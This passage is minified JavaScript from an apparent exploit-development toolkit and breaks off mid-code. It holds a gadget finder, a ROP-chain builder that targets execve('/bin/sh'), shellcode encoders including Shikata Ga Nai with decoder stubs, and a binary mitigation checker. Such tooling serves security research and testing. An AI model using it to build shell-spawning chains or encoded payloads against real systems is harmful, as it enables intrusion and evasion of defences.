+ import{Mt as e,kt as t}from"./constants-nvsLpSri.mjs";import{n}from"./response-R8ghbZSb.mjs";import{r}from"./ResponseBuilder-BLicSCjn.mjs";import{i,n as a,r as o}from"./ast-bridge-BlOrmVAv.mjs";import{t as s}from"./disasm-DoxSucGp.mjs";import*as c from"node:fs";import*as l from"node:util";import*as u from"node:crypto";import*as d from"node:child_process";var f=class{disasm=new s;async findGadgets(e,t,n={}){let{maxDepth:r=5,maxGadgets:i=1e3,pattern:a,type:o=`rop`}=n;if(o===`rop`)return this.findRopGadgets(e,t,{maxDepth:r,maxGadgets:i,pattern:a});if(o===`jop`)return this.findJopGadgets(e,t,{maxDepth:r,maxGadgets:i,pattern:a});if(o===`cop`)return this.findCopGadgets(e,t,{maxDepth:r,maxGadgets:i,pattern:a});if(o===`coop`)return this.findCoopGadgets(e,t,{maxDepth:r,maxGadgets:i,pattern:a});throw Error(`Unsupported gadget type: ${o}`)}async findRopGadgets(e,t,n){let{maxDepth:r,maxGadgets:i,pattern:a}=n,o=[],s=a?new RegExp(a,`i`):null,c=await this.disasm.disassemble(e,{arch:t}),l=c.filter(e=>e.mnemonic===`ret`||e.mnemonic.startsWith(`jmp`)||e.mnemonic.startsWith(`call`));for(let e of l){if(o.length>=i)break;let n=this.findBackwardSequences(c,e,r);for(let e of n){let n=this.buildGadget(e,t),r=n.instructions.join(` ; `);if(!(s&&!s.test(r))&&(o.push(n),o.length>=i))break}}return o}async findJopGadgets(e,t,n){let{maxDepth:r,maxGadgets:i,pattern:a}=n,o=[],s=a?new RegExp(a,`i`):null,c=await this.disasm.disassemble(e,{arch:t}),l=c.filter(e=>e.mnemonic.startsWith(`jmp`)&&(e.opStr.includes(`[`)||/^[a-z]+\d*$/i.test(e.opStr.trim()))||e.mnemonic===`br`);for(let e of l){if(o.length>=i)break;let n=this.findBackwardSequences(c,e,r);for(let e of n){let n=this.buildGadget(e,t);n.gadgetType=`jop`;let r=e[e.length-1];n.targetReg=this.extractJumpTarget(r),n.dispatcher=e.length===1;let a=n.instructions.join(` ; `);if(!(s&&!s.test(a))&&(o.push(n),o.length>=i))break}}return o}async findCopGadgets(e,t,n){let{maxDepth:r,maxGadgets:i,pattern:a}=n,o=[],s=a?new RegExp(a,`i`):null,c=await this.disasm.disassemble(e,{arch:t}),l=c.filter(e=>e.mnemonic.startsWith(`call`)&&e.opStr.includes(`[`)||e.mnemonic===`blr`);for(let e of l){if(o.length>=i)break;let n=this.findBackwardSequences(c,e,r);for(let e of n){let n=this.buildGadget(e,t);n.gadgetType=`cop`;let r=e[e.length-1];n.targetReg=this.extractCallTarget(r);let a=n.instructions.join(` ; `);if(!(s&&!s.test(a))&&(o.push(n),o.length>=i))break}}return o}async findCoopGadgets(e,t,n){let{maxGadgets:r,pattern:i}=n,a=[],o=i?new RegExp(i,`i`):null,s=await this.disasm.disassemble(e,{arch:t});for(let e=0;e<s.length-1&&!(a.length>=r);e++){let n=s[e],r=s[e+1],i=n.mnemonic===`mov`&&/\b[a-z]+,\s*\[/.test(n.opStr)||n.mnemonic===`ldr`&&/\[/.test(n.opStr),c=r.mnemonic.startsWith(`call`)&&r.opStr.includes(`[`)||r.mnemonic===`blr`;if(i&&c){let e=[n,r],i=this.buildGadget(e,t);i.gadgetType=`coop`,i.confidence=/\b[a-z]+,\s*\[[a-z]+[+*]\d/.test(n.opStr)?.7:.4;let s=i.instructions.join(` ; `);if(o&&!o.test(s))continue;a.push(i)}}return a}extractJumpTarget(e){return e.opStr.match(/\[?([a-z]+\d*)\]?/i)?.[1]?.toLowerCase()}extractCallTarget(e){return e.opStr.match(/\[?([a-z]+\d*)\]?/i)?.[1]?.toLowerCase()}findBackwardSequences(e,t,n){let r=[],i=e.indexOf(t);if(i===-1)return r;for(let t=1;t<=n&&i-t>=0;t++){let n=i-t+1,a=e.slice(n,i+1);a.slice(0,-1).some(e=>this.isControlFlow(e.mnemonic))||r.push(a)}return r}buildGadget(e,t){let n=e[0].address.toString(16),r=e.map(e=>e.opStr?`${e.mnemonic} ${e.opStr}`:e.mnemonic),i=Buffer.concat(e.map(e=>e.bytes)).toString(`hex`),a=this.analyzeGadgetEffects(e,t);return{address:`0x${n}`,instructions:r,bytes:i,effects:a}}analyzeGadgetEffects(e,t){let n={pops:[],writes:[],calls:[],returns:!1};for(let t of e){if(t.mnemonic===`pop`&&n.pops.push(t.opStr),t.mnemonic===`ldp`&&t.opStr.includes(`sp`)){let e=this.extractArmPopRegisters(t.opStr);n.pops.push(...e)}if(t.mnemonic===`ldr`&&/\bsp\b/.test(t.opStr)&&t.opStr.includes(`],`)){let e=this.extractArmPopRegisters(t.opStr);n.pops.push(...e)}if(t.mnemonic===`pop`||t.mnemonic===`ldm`&&t.opStr.includes(`sp!`)){let e=this.extractArmPopRegisters(t.opStr);n.pops.push(...e)}if(t.mnemonic===`mov`||t.mnemonic===`str`||t.mnemonic.startsWith(`st`)){let e=t.opStr.split(`,`).map(e=>e.trim());e.length===2&&n.writes.push({dest:e[0],src:e[1]})}(t.mnemonic.startsWith(`call`)||t.mnemonic===`blr`)&&n.calls.push(t.opStr),t.mnemonic===`ret`&&(n.returns=!0)}return n}extractArmPopRegisters(e){let t=[];if(e.includes(`{`)){let n=e.match(/\{([^}]+)\}/);if(n){let e=n[1];for(let n of e.split(`,`)){let e=n.trim().toLowerCase();e&&t.push(e)}}}else{let n=e.split(/[\[\]]/);if(n.length>=1){let e=n[0].split(`,`);for(let n of e){let e=n.trim().toLowerCase();e&&!e.includes(`[`)&&!e.includes(`]`)&&t.push(e)}}}return t}isControlFlow(e){return e===`ret`||e.startsWith(`jmp`)||e.startsWith(`je`)||e.startsWith(`jne`)||e.startsWith(`call`)||e.startsWith(`b`)}async findJmpRegister(e,t,n){let r=await this.disasm.disassemble(e,{arch:t}),i=[];for(let e of r){let t=e.mnemonic.startsWith(`jmp`)||e.mnemonic.startsWith(`call`),r=e.opStr.toLowerCase().includes(n.toLowerCase());t&&r&&i.push({address:`0x${e.address.toString(16)}`,instruction:e.opStr?`${e.mnemonic} ${e.opStr}`:e.mnemonic,bytes:e.bytes.toString(`hex`)})}return i}};function p(e,t){if(t.length===0)return null;let n=new Set(t),r=0;for(;n.size>0;){let t=0;for(let r of e){let e=r.effects?.pops;if(!e)continue;let i=0;for(let t of e)n.has(t)&&i++;i>t&&(t=i)}if(t===0)return null;let i=0;outer:for(let r of e){let e=r.effects?.pops;if(e){for(let r of e)if(n.has(r)&&(n.delete(r),i++,i===t))break outer}}r++}return r}const m=e=>/syscall/i.test(e)||/\bint\s+0x80\b/i.test(e)||/\bsvc\b/i.test(e);var h=class{gadgetFinder=new f;async buildChain(e,t,n,r){let i=await this.gadgetFinder.findGadgets(e,t,{maxDepth:6,maxGadgets:5e3});if(i.length===0)throw Error(`No gadgets found in binary`);let a=this.buildConstraints(n,t,r),{gadgets:o,solverUsed:s,warnings:c}=await this.solveConstraints(a,i,t);if(o.length===0)throw Error(`Insufficient gadgets to build ROP chain`);let{chain:l,placeholders:u}=this.assembleChain(o,a,i,t);return{chain:l,gadgets:o,goal:n,placeholders:u,notes:this.generateChainNotes(n,o,t,u,s),solverUsed:s,warnings:c}}buildConstraints(e,t,n){let r=[];if(e===`execve`)t===`x64`?r.push({register:`rax`,value:59,description:`syscall number for execve`},{register:`rdi`,value:n.command||`/bin/sh`,description:`pointer to command string`},{register:`rsi`,value:0,description:`argv pointer (NULL)`},{register:`rdx`,value:0,description:`envp pointer (NULL)`}):t===`x86`?r.push({register:`eax`,value:11,description:`syscall number for execve (NR_execve)`},{register:`ebx`,value:n.command||`/bin/sh`,description:`pointer to command string (pathname)`},{register:`ecx`,value:0,description:`argv pointer (NULL)`},{register:`edx`,value:0,description:`envp pointer (NULL)`},{register:`esi`,value:0,description:`extra arg (NULL, ignored by execve)`},{register:`edi`,value:0,description:`extra arg (NULL, ignored by execve)`},{register:`ebp`,value:0,description:`extra arg (NULL, ignored by execve)`}):t===`arm64`?r.push({register:`x8`,value:221,description:`syscall number for execve (ARM64: __NR_execve)`},{register:`x0`,value:n.command||`/bin/sh`,description:`pointer to command string (pathname)`},{register:`x1`,value:0,description:`argv pointer (NULL)`},{register:`x2`,value:0,description:`envp pointer (NULL)`}):t===`arm`&&r.push({register:`r7`,value:11,description:`syscall number for execve (ARM32: __NR_execve)`},{register:`r0`,value:n.command||`/bin/sh`,description:`pointer to command string (pathname)`},{register:`r1`,value:0,description:`argv pointer (NULL)`},{register:`r2`,value:0,description:`envp pointer (NULL)`});else if(e===`write_memory`)t===`arm64`?r.push({register:`x0`,value:n.address??``,description:`target memory address`},{register:`x1`,value:n.value??``,description:`value to write`}):t===`arm`?r.push({register:`r0`,value:n.address??``,description:`target memory address`},{register:`r1`,value:n.value??``,description:`value to write`}):r.push({register:t===`x64`?`rdi`:`eax`,value:n.address??``,description:`target memory address`},{register:t===`x64`?`rsi`:`ebx`,value:n.value??``,description:`value to write`});else if(e===`call_function`){if(t===`x64`){let e=[`rdi`,`rsi`,`rdx`,`rcx`,`r8`,`r9`];(n.args??[]).forEach((t,n)=>{n<e.length&&r.push({register:e[n],value:t,description:`function argument ${n+1}`})})}else if(t===`arm64`){let e=[`x0`,`x1`,`x2`,`x3`,`x4`,`x5`,`x6`,`x7`];(n.args??[]).forEach((t,n)=>{n<e.length&&r.push({register:e[n],value:t,description:`function argument ${n+1}`})})}else if(t===`arm`){let e=[`r0`,`r1`,`r2`,`r3`];(n.args??[]).forEach((t,n)=>{n<e.length&&r.push({register:e[n],value:t,description:`function argument ${n+1}`})})}}return r}async solveConstraints(e,t,n){let r=[];for(let t of e)r.includes(t.register)||r.push(t.register);let i=e.some(e=>e.register===`rax`||e.register===`eax`||e.register===`x8`||e.register===`r7`),a=i?t.find(e=>e.instructions.some(e=>m(e))&&e.effects?.returns)??t.find(e=>e.instructions.some(e=>m(e))):void 0,s=n=>{let o=this.solveConstraintsGreedy(e,t),s=[...this.uncoveredRegisterWarnings(r,o.chain)];return i&&!a&&s.push(`No syscall gadget found in binary — execve chain will lack a syscall trap`),s.push(n),{gadgets:o.chain,solverUsed:`greedy`,warnings:s}};if(o())return s(`Z3 unavailable (WASM init failed); used greedy fallback`);let c=await this.solveConstraintsZ3(e,t,n,r);if(c){let e=this.uncoveredRegisterWarnings(r,c.gadgets);return i&&!a&&e.push(`No syscall gadget found in binary — execve chain will lack a syscall trap`),i&&a&&!c.gadgets.includes(a)&&c.gadgets.push(a),{gadgets:c.gadgets,solverUsed:`z3`,warnings:e}}return s(`Z3 found no chain covering all goal registers; used greedy fallback (check warnings for uncovered registers)`)}async solveConstraintsZ3(n,r,a,o){let s=r.filter(e=>e.effects?.pops&&e.effects.pops.some(e=>o.includes(e)));if(s.length===0)return null;let c=p(s,o)??Math.min(t,s.length),l=await i(async t=>{let n=new t.Context(`main`),{Solver:r,Int:i,Or:a,And:l,Distinct:u}=n,d=[];for(let e=0;e<s.length;e++)d.push(i.const(`s_${e}`));let f=d.map(e=>e.gt(0)),p=(e,t)=>s[e].effects?.pops?.includes(t)?n.Bool.val(!0):n.Bool.val(!1),m=e=>a(...f.map((t,n)=>l(t,p(n,e)))),h=new r;h.set(`timeout`,e);let g=o.map(e=>m(e));g.length===1?h.add(g[0]):g.length>1&&h.add(l(...g)),h.add(u(...f));let _=d.reduce((e,t)=>e.add(t),i.val(0));for(let e=1;e<=c;e++){h.push();let t=_.eq(i.val(e));if(h.add(t),await h.check()===`sat`){let e=h.model(),t=[];for(let n=0;n<s.length;n++){let r=i.const(`s_${n}`),a=e.eval(r);Number(a?.toString?.()??`0`)>0&&t.push(s[n])}if(h.pop(),t.length>0)return t}h.pop()}return null},e);return l===null?null:{gadgets:l}}solveConstraintsGreedy(e,t){let n=[],r=new Set,i=!1;for(let a of e){if(r.has(a.register))continue;let e=t.find(e=>e.effects?.pops?.includes(a.register)&&e.effects?.returns&&!n.includes(e));e?(n.push(e),r.add(a.register)):i=!0}if(e.some(e=>e.register===`rax`||e.register===`eax`)){let e=t.find(e=>e.instructions.some(e=>m(e))&&!n.includes(e));e?n.push(e):i=!0}return{chain:n,incomplete:i}}uncoveredRegisterWarnings(e,t){let n=new Set;for(let e of t)for(let t of e.effects?.pops??[])n.add(t);let r=[];for(let t of e)n.has(t)||r.push(`No pop-gadget for register ${t} — set it manually via placeholder`);return r}assembleChain(e,t,n,r){let i=[],a=[],o=0,s=new Map;for(let e of t)s.set(e.register,e);let c=r===`x64`||r===`arm64`?8:4;for(let t of e)if(i.push(t.address.replace(/^0x/,``).padStart(c*2,`0`)),o+=c,t.effects?.pops)for(let e of t.effects.pops){let t=s.get(e),r,l;if(t)r=t.value,l=t.description;else{let t=this.findDataGadget(n);t?(r=t.address,l=`unused register ${e} - points to readable memory`):(r=0,l=`unused register ${e} - set to NULL`)}a.push({offset:o,register:e,suggestedValue:r,description:l});let u=this.valueToHex(r,c);i.push(u),o+=c}return{chain:i.join(``),placeholders:a}}findDataGadget(e){return e.find(e=>e.instructions.length===0||e.instructions[0]===`data`)||e[0]||null}valueToHex(e,t){return typeof e==`string`?this.numberToHex(3735928559,t):this.numberToHex(e,t)}numberToHex(e,t){let n=Buffer.alloc(t);return t===8?n.writeBigUInt64LE(BigInt(e)):n.writeUInt32LE(e),n.toString(`hex`)}generateChainNotes(e,t,n,r,i){let a=[];if(a.push(`Generated ${t.length} gadget ROP chain for goal: ${e}`),a.push(`Architecture: ${n}`),i&&a.push(`Solver: ${i===`z3`?`Z3 bounded model check`:`greedy heuristic`}`),r.length>0){a.push(`Chain contains ${r.length} placeholder values:`);let e=r.filter(e=>typeof e.suggestedValue==`string`||e.suggestedValue===3735928559);if(e.length>0){a.push(` - ${e.length} values require manual adjustment`);for(let t of e)a.push(` • offset +${t.offset}: ${t.register} (${t.description})`)}let t=r.length-e.length;t>0&&a.push(` - ${t} values auto-filled with smart defaults`)}return e===`execve`&&(a.push(`Chain structure: pop registers → load syscall args → syscall instruction`),a.push(`Note: String pointers (e.g., "/bin/sh") must be replaced with actual memory addresses`)),a}},g=class{gadgetFinder=new f;async buildJopChain(e,t,n={goal:`execve`}){let{maxGadgets:r=200}=n,i=await this.gadgetFinder.findGadgets(e,t,{type:`jop`,maxGadgets:r,maxDepth:4});if(i.length===0)return{success:!1,gadgets:[],type:`jop`,error:`No JOP gadgets found in binary`};let a=new Map;for(let e of i){let t=e.targetReg??`unknown`;a.has(t)||a.set(t,[]),a.get(t).push(e)}let o=[];for(let e of i)e.dispatcher&&o.push(e);if(o.length===0){for(let[e,t]of a)if(t.length>=3){let n=t[0];o.push({...n,dispatcher:!0,targetReg:e})}if(o.length===0)return{success:!1,gadgets:i.slice(0,10),type:`jop`,error:`No JOP dispatcher candidates found. Need at least one gadget that performs an indirect jump through a register.`,warnings:a.size>0?[`Found ${a.size} jump-target register group(s) but no explicit dispatcher`]:void 0}}o.toSorted((e,t)=>{let n=a.get(e.targetReg??``)?.length??0;return(a.get(t.targetReg??``)?.length??0)-n});let s=o[0],c=s.targetReg??`eax`,l=(a.get(c)??[]).filter(e=>!e.dispatcher);if(l.length===0)return{success:!1,dispatcher:{address:s.address,instruction:s.instructions.join(` ; `),bytes:s.bytes,dispatchReg:c},gadgets:[],type:`jop`,error:`No functional gadgets for dispatch register "${c}"`};let u=[],d=[];d.push(s),u.push(0);for(let e of l){if(d.length>=10)break;let t=e,n=t.instructions.join(` ; `);_(n,`pop`)&&!v(n,c)&&(d.push({...t,targetReg:c,gadgetType:`jop`}),u.push(4))}return d.length<2?{success:!1,dispatcher:{address:s.address,instruction:s.instructions.join(` ; `),bytes:s.bytes,dispatchReg:c},gadgets:d,type:`jop`,error:`Could not build a useful JOP chain — not enough pop-gadgets for the dispatch register`,warnings:[`Only ${d.length} chainable gadgets found for "${c}"`]}:{success:!0,dispatcher:{address:s.address,instruction:s.instructions.join(` ; `),bytes:s.bytes,dispatchReg:c},gadgets:d,chain:d.map(e=>e.address).join(` `),registerDeltas:u,type:`jop`,notes:[`Dispatcher: ${c} (via gadget at ${s.address})`,`Functional gadgets: ${l.length} available, ${d.length-1} used`,`Place dispatch-gadget address at initial dispatch-register value`,`Place functional-gadget addresses at dispatchReg + N*sizeof(gadget_ptr)`]}}async buildCopChain(e,t,n={goal:`execve`}){let{maxGadgets:r=200}=n,i=await this.gadgetFinder.findGadgets(e,t,{type:`cop`,maxGadgets:r,maxDepth:4});if(i.length===0)return{success:!1,gadgets:[],type:`cop`,error:`No COP gadgets found in binary`};let a=new Map;for(let e of i){let t=e.targetReg??`unknown`;a.has(t)||a.set(t,[]),a.get(t).push(e)}let o=[...a.entries()].toSorted((e,t)=>t[1].length-e[1].length)[0];if(!o)return{success:!1,gadgets:[],type:`cop`,error:`No COP dispatcher register found`};let s=o[1].slice(0,8);return{success:!0,dispatcher:{address:s[0]?.address??``,instruction:s[0]?.instructions.join(` ; `)??``,bytes:s[0]?.bytes??``,dispatchReg:o[0]},gadgets:s.map(e=>({...e,targetReg:o[0],gadgetType:`cop`})),type:`cop`,notes:[`COP dispatcher register: ${o[0]}`,`Available gadgets: ${o[1].length}`,`Each COP gadget returns to the dispatcher after its call executes`]}}async buildCoopChain(e,t,n={goal:`execve`}){let{maxGadgets:r=200}=n,i=await this.gadgetFinder.findGadgets(e,t,{type:`coop`,maxGadgets:r,maxDepth:3});if(i.length===0)return{success:!1,gadgets:[],type:`coop`,error:`No COOP (vtable) gadgets found in binary`};let a=i.filter(e=>(e.confidence??0)>.5).slice(0,6);return{success:!0,gadgets:a.map(e=>({...e,gadgetType:`coop`})),chain:a.map(e=>e.address).join(` `),type:`coop`,notes:[`Found ${i.length} COOP gadget candidates`,`${a.length} high-confidence (confidence > 0.5) used in chain`,`COOP chains exploit C++ vtable dispatch — requires knowledge of object layout`,`Each gadget represents a virtual call through a controlled vtable entry`]}}};function _(e,t){return RegExp(`\\b${t.toLowerCase()}\\b`,`i`).test(e)}function v(e,t){let n=t.toLowerCase(),r=RegExp(`\\b(?:pop|inc|dec|not|neg|bswap)\\s+\\b${n}\\b`,`i`),i=RegExp(`\\b(?:mov|movabs|lea|xchg|add|sub|adc|sbb|and|or|xor|shl|shr|sar|sal|rol|ror)\\s+\\b${n}\\b\\s*,`,`i`);return r.test(e)||i.test(e)}const y={x86:{baseRegs:[`EBX`,`EDX`,`EBP`],keyRegs:[`EDI`,`ESI`],counterRegs:[`ECX`],tmpRegs:[`EAX`]},x64:{baseRegs:[`r8`,`r9`,`r10`,`r11`,`r12`,`r13`,`r14`],keyRegs:[`rax`,`rcx`,`rdx`,`rbx`,`rsi`],counterRegs:[`rdi`,`rbp`],tmpRegs:[`r15`]}};function b(){return Math.floor(Math.random()*256)}function x(){return[b(),b(),b(),b()]}function S(e){return e[Math.floor(Math.random()*e.length)]}function C(e){return{baseReg:S(y.x86.baseRegs),keyReg:S(y.x86.keyRegs),counterReg:S(y.x86.counterRegs),shellcodeLen:e,xorKey:b(),arch:`x86`}}function w(e){return{baseReg:S(y.x64.baseRegs),keyReg:S(y.x64.keyRegs),counterReg:S(y.x64.counterRegs),shellcodeLen:e,xorKey:b(),arch:`x64`}}const T={EAX:0,ECX:1,EDX:2,EBX:3,ESP:4,EBP:5,ESI:6,EDI:7},E={rax:0,rcx:1,rdx:2,rbx:3,rsp:4,rbp:5,rsi:6,rdi:7,r8:0,r9:1,r10:2,r11:3,r12:4,r13:5,r14:6,r15:7};function ee(e){return[`r8`,`r9`,`r10`,`r11`,`r12`,`r13`,`r14`,`r15`].includes(e)}function D(e,t){let n=ee(e.toLowerCase()),r=72;return t&&n&&(r|=4),!t&&n&&(r|=1),r}function O(e,t,n){return(e&3)<<6|(n&7)<<3|t&7}function te(e){let t=[],n=D(e.baseReg,!0),r=E[e.baseReg.toUpperCase()];t.push(n,141,O(0,5,r)),t.push(0,0,0,0),t.push(n,129,O(3,r,5));let i=t.length;t.push(0,0,0,0);let a=D(e.keyReg,!0),o=E[e.keyReg.toUpperCase()];t.push(a,184+o),t.push(...x());let s=D(e.counterReg,!0),c=E[e.counterReg.toUpperCase()];t.push(s,184+c);let l=Math.ceil(e.shellcodeLen/4);t.push(l&255,0,0,0),t.push(n,131,O(3,r,0),4),t.push(n,49,O(2,r,o),16),t.push(n,3,O(2,r,o),16),t.push(226,248);let u=b()%6;for(let e=0;e<u;e++)t.push(...S([[144],[102,144],[72,135,219],[15,31,0],[15,31,64,0]]));let d=t.length-7;return t[i]=d&255,t[i+1]=d>>>8&255,t[i+2]=d>>>16&255,t[i+3]=d>>>24&255,Buffer.from(t)}function ne(e){let t=[],n=b()%2==0?[219,201]:[217,235];t.push(...n),t.push(43,O(3,T[e.baseReg],T[e.baseReg])),t.push(184+T[e.keyReg]),t.push(...x()),t.push(185),t.push(Math.ceil(e.shellcodeLen/4)&255),t.push(217,116,36,244),t.push(88+T[e.baseReg]);let r=t.length;t.push(131,O(3,T[e.baseReg],0));let i=t.length;t.push(0),t.push(131,O(3,T[e.baseReg],0),4),t.push(49+(T[e.keyReg]<<3),O(1,T[e.baseReg],T[e.keyReg]),15),t.push(3+(T[e.keyReg]<<3),O(1,T[e.baseReg],T[e.keyReg]),15),t.push(226,244);for(let e=0;e<b()%3;e++)t.push(144);let a=r,o=t.length-a;return t[i]=o>127?127:o&255,Buffer.from(t)}function re(e,t){let n=Math.ceil(e.length/4)*4,r=Buffer.alloc(n);e.copy(r);let i=t>>>0,a=Buffer.alloc(n);for(let e=0;e<n;e+=4){let t=r.readUInt32LE(e),n=(t^i&4294967295)>>>0;a.writeUInt32LE(n,e),i=i+t>>>0&4294967295}return a}var ie=class{encode(e,t,n=[]){if(t===`x64`)return this.encodeX64(e,n);if(t!==`x86`)throw Error(`Shikata Ga Nai encoder supports x86 and x64. Use xor encoding for other architectures.`);return this.encodeX86(e,n)}encodeX86(e,t){return this.encodeWithRetry(e,t,`x86`)}encodeX64(e,t){return this.encodeWithRetry(e,t,`x64`)}encodeWithRetry(e,t,n,r=5){let i;for(let a=0;a<r;a++)try{let r=n===`x64`?w(e.length):C(e.length),i=n===`x64`?te(r):ne(r),a=re(e,r.xorKey);if(t.length>0&&Array.from(i).some(e=>t.includes(e)))continue;return{encoded:a.toString(`hex`),decoder:i.toString(`hex`),sizeIncrease:e.length>0?i.length/e.length*100:0,encoding:`shikata_ga_nai`,badCharsAvoided:t.length>0?t:void 0}}catch(e){i=e instanceof Error?e:Error(String(e))}throw i??Error(`Shikata Ga Nai encoding failed after max retries`)}static detect(e){let t=e.toString(`hex`),n=t.includes(`d97424f4`),r=/03[0-9a-f]{2}0f.*31[0-9a-f]{2}0f/.test(t);return n&&r}},ae=class{encode(e,t,n,r={}){switch(t){case`xor`:return this.encodeXor(e,r.xorKey||170,r.badChars);case`alphanumeric`:return this.encodeAlphanumeric(e,n,r.badChars);case`unicode`:return this.encodeUnicode(e,r.badChars);case`fnstenv`:return this.encodeFnstenv(e,n);case`shikata_ga_nai`:return new ie().encode(e,n,r.badChars??[]);default:throw Error(`Unsupported encoding: ${t}`)}}encodeXor(e,t,n){let r=Buffer.alloc(e.length);for(let n=0;n<e.length;n++)r[n]=e[n]^t;if(n&&n.length>0){for(let e=0;e<r.length;e++)if(n.includes(r[e]))throw Error(`XOR encoding produced bad character 0x${r[e].toString(16)} at offset ${e}`)}let i=this.generateXorDecoder(t,e.length);return{encoded:r.toString(`hex`),decoder:i.toString(`hex`),sizeIncrease:i.length/e.length*100,encoding:`xor`,badCharsAvoided:n}}generateXorDecoder(e,t){return Buffer.from([235,11,94,72,49,201,177,t&255,128,54,e,72,255,198,226,248,235,5,232,240,255,255,255])}encodeAlphanumeric(e,t,n){let r=Buffer.alloc(e.length*2);for(let t=0;t<e.length;t++){let n=e[t],i=n>>4&15,a=n&15;r[t*2]=i<10?48+i:65+(i-10),r[t*2+1]=a<10?48+a:65+(a-10)}let i=this.generateAlphanumericDecoder(e.length,t);return{encoded:r.toString(`hex`),decoder:i.toString(`hex`),sizeIncrease:100,encoding:`alphanumeric`,badCharsAvoided:n}}generateAlphanumericDecoder(e,t){return t===`x64`?Buffer.from([80,88,72,49,201,72,49,219,94,95,72,138,30,72,131,235,48,72,131,251,9,126,4,72,131,235,7,72,193,227,4,72,255,198,72,49,192,72,138,6,72,131,232,48,72,131,248,9,126,4,72,131,232,7,72,9,195,72,136,31,72,255,198,72,255,199,72,255,193,72,131,249,e&255,117,208,195]):Buffer.from([80,88,49,201,49,219,94,95,138,30,131,235,48,131,251,9,126,3,131,235,7,193,227,4,70,49,192,138,6,131,232,48,131,248,9,126,3,131,232,7,9,195,136,31,70,71,65,131,249,e&255,117,213,195])}encodeUnicode(e,t){let n=Buffer.alloc(e.length*2);for(let t=0;t<e.length;t++)n[t*2]=e[t],n[t*2+1]=0;let r=this.generateUnicodeDecoder(e.length);return{encoded:n.toString(`hex`),decoder:r.toString(`hex`),sizeIncrease:100,encoding:`unicode`,badCharsAvoided:t}}generateUnicodeDecoder(e){return Buffer.from([144,0,144,0,144,0,235,0,14,0,94,0,95,0,49,0,201,0,177,0,e&255,0,138,0,6,0,136,0,7,0,131,0,198,0,2,0,71,0,226,0,242,0,255,0,231,0])}encodeFnstenv(e,t){if(t!==`x86`)throw Error(`FNSTENV encoding only supported on x86`);let n=this.generateFnstenvDecoder(e.length);return{encoded:e.toString(`hex`),decoder:n.toString(`hex`),sizeIncrease:n.length/e.length*100,encoding:`fnstenv`}}generateFnstenvDecoder(e){return Buffer.from([217,238,217,116,36,244,88,91,131,192,26,137,198,137,199,49,201,177,e&255,128,54,170,70,226,250,255,231])}validateEncoding(e,t){for(let n=0;n<e.length;n++)if(t.includes(e[n]))return!1;return!0}};const k=l.promisify(d.execFile);var oe=class{async analyze(e){if(!c.existsSync(e))throw Error(`Binary not found: ${e}`);let t=c.readFileSync(e,{encoding:null}),n=this.detectPlatform(t),r;switch(n){case`ELF`:r=await this.analyzeElf(e,t);break;case`PE`:r=await this.analyzePe(e,t);break;case`Mach-O`:r=await this.analyzeMachO(e,t);break;default:throw Error(`Unsupported binary format: ${n}`)}return r.platform=n,r}detectPlatform(e){if(e.length<4)throw Error(`Binary too small to detect format`);let t=e.readUInt32BE(0);if(t===2135247942)return`ELF`;if(e.readUInt16LE(0)===23117)return`PE`;if(t===4277009102||t===4277009103||t===3472551422||t===3489328638)return`Mach-O`;throw Error(`Unknown binary format`)}async analyzeElf(e,t){let n={nx:!1,pie:!1,canary:!1,relro:`none`,aslr:!1,fortify:!1,cfg:!1},r=!1,i=!1;try{let{stdout:t}=await k(`readelf`,[`-l`,`-d`,e],{timeout:5e3});n.nx=t.includes(`GNU_STACK`)&&t.includes(`RW`),n.pie=t.includes(`DYN`)||t.includes(`EXEC`),r=t.includes(`GNU_RELRO`),i=t.includes(`BIND_NOW`)||t.includes(`FLAGS_1`)&&t.includes(`NOW`)}catch{n.nx=this.checkElfNxManual(t),n.pie=this.checkElfPieManual(t),r=this.checkElfRelroManual(e,t),i=this.checkElfBindNowManual(e,t)}return r&&i?n.relro=`full`:r?n.relro=`partial`:n.relro=`none`,n.canary=t.includes(Buffer.from(`__stack_chk_fail`)),n.fortify=t.includes(Buffer.from(`__memcpy_chk`))||t.includes(Buffer.from(`__strcpy_chk`)),n.aslr=!0,n}checkElfNxManual(e){let t=e[4],n=t===2?e.readBigUInt64LE(32):e.readUInt32LE(28),r=e.readUInt16LE(t===2?54:42),i=e.readUInt16LE(t===2?56:44);for(let t=0;t<i;t++){let i=Number(n)+t*r;if(i+8>e.length)break;if(e.readUInt32LE(i)===1685382481)return(e.readUInt32LE(i+4)&1)==0}return!1}checkElfPieManual(e){return e.readUInt16LE(16)===3}checkElfRelroManual(e,t){let n=t[4],r=n===2?t.readBigUInt64LE(32):t.readUInt32LE(28),i=t.readUInt16LE(n===2?54:42),a=t.readUInt16LE(n===2?56:44);for(let e=0;e<a;e++){let n=Number(r)+e*i;if(n+4>t.length)break;if(t.readUInt32LE(n)===1685382482)return!0}return!1}checkElfBindNowManual(e,t){let n=t[4]===2,r=n?t.readBigUInt64LE(40):t.readUInt32LE(32),i=t.readUInt16LE(n?58:46),a=t.readUInt16LE(n?60:48),o=t.readUInt16LE(n?62:50),s=Number(r)+o*i;if(s+24>t.length)return!1;let c=n?Number(t.readBigUInt64LE(s+24)):t.readUInt32LE(s+16),l=n?Number(t.readBigUInt64LE(s+32)):t.readUInt32LE(s+20),u=t.subarray(c,c+Math.min(l,4096)),d=Buffer.from(`.dynamic`);for(let e=0;e<a;e++){let a=Number(r)+e*i;if(a+64>t.length)break;let o=t.readUInt32LE(a),s=n?Number(t.readBigUInt64LE(a+24)):t.readUInt32LE(a+16),c=n?Number(t.readBigUInt64LE(a+32)):t.readUInt32LE(a+20);if(o<u.length){let e=u.indexOf(0,o);if(!u.subarray(o,e===-1?u.length:e).equals(d))continue}let l=n?16:8,f=Math.min(c/l,4096);for(let e=0;e<f;e++){let r=s+e*l;if(r+l>t.length)break;let i=n?Number(t.readBigInt64LE(r)):t.readInt32LE(r);if(i===24||i===1879048187&&(n?Number(t.readBigUInt64LE(r+8)):t.readUInt32LE(r+4))&1)return!0;if(i===0)break}break}return!1}async analyzePe(e,t){let n={nx:!1,pie:!1,canary:!1,relro:`none`,aslr:!1,fortify:!1,cfg:!1},r=t.readUInt32LE(60);t.readUInt16LE(r+4+18);let i=t.readUInt16LE(r+24+70);return n.nx=(i&256)!=0,n.aslr=(i&64)!=0,n.pie=n.aslr,n.cfg=(i&16384)!=0,n.canary=t.includes(Buffer.from(`__security_cookie`)),n.relro=`none`,n.fortify=!1,n}async analyzeMachO(e,t){let n={nx:!0,pie:!1,canary:!1,relro:`none`,aslr:!1,fortify:!1,cfg:!1};try{let{stdout:t}=await 